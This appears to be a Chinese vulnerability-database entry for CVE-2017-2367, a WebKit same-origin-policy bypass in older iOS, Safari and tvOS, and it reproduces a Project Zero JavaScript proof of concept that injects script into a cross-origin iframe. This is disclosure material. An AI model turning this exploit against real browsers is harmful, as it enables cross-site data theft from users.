多款Apple产品WebKit 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1123843 漏洞类型 访问控制错误
发布时间 2017-04-04 更新时间 2019-10-23
CVE编号 CVE-2017-2367 CNNVD-ID CNNVD-201704-042
漏洞平台 Multiple CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/41801
https://cxsecurity.com/issue/WLB-2017040016
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201704-042
|漏洞详情
Apple iOS、Safari和tvOS都是美国苹果(Apple)公司的产品。Apple iOS是为移动设备所开发的一套操作系统;Safari是一款Web浏览器,是Mac OS X和iOS操作系统附带的默认浏览器;tvOS是一套智能电视操作系统。WebKit是KDE社区开发的一套开源Web浏览器引擎,目前被Apple Safari及Google Chrome等浏览器使用。 多款Apple产品中的WebKit组件存在安全漏洞。远程攻击者可借助特制的Web站点利用该漏洞绕过同源策略,获取敏感信息。以下产品和版本受到影响:Apple iOS 10.3之前的版本;Safari 10.1之前的版本;tvOS 10.2之前的版本。
|漏洞EXP
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1063

The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.

static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)
{
    ...
    Document* document = frame.document(); <<-------- the new document.
    if (is<HTMLDocument>(*document)) {
        auto& htmlDocument = downcast<HTMLDocument>(*document);
        auto* atomicPropertyName = propertyName.publicName();
        if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {
            JSValue namedItem;
            if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {
                Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);
                ASSERT(collection->length() > 1);
                namedItem = toJS(exec, thisObject->globalObject(), collection);
            } else
                namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));
            slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);
            return true;
        }
    }

    return false;
}

PoC:
-->

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
let get_element = f.contentWindow.Function("return logo;");

f.onload = () => {
    f.onload = null;

    let node = get_element();

    var sc = document.createElement("script");
    sc.innerText = "alert(location)";
    node.appendChild(sc);
};

f.src = "https://abc.xyz/";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1).
-->
|参考资料

来源:BID
链接:http://www.securityfocus.com/bid/97130
来源:CONFIRM
链接:https://support.apple.com/HT207600
来源:CONFIRM
链接:https://support.apple.com/HT207601
来源:CONFIRM
链接:https://support.apple.com/HT207617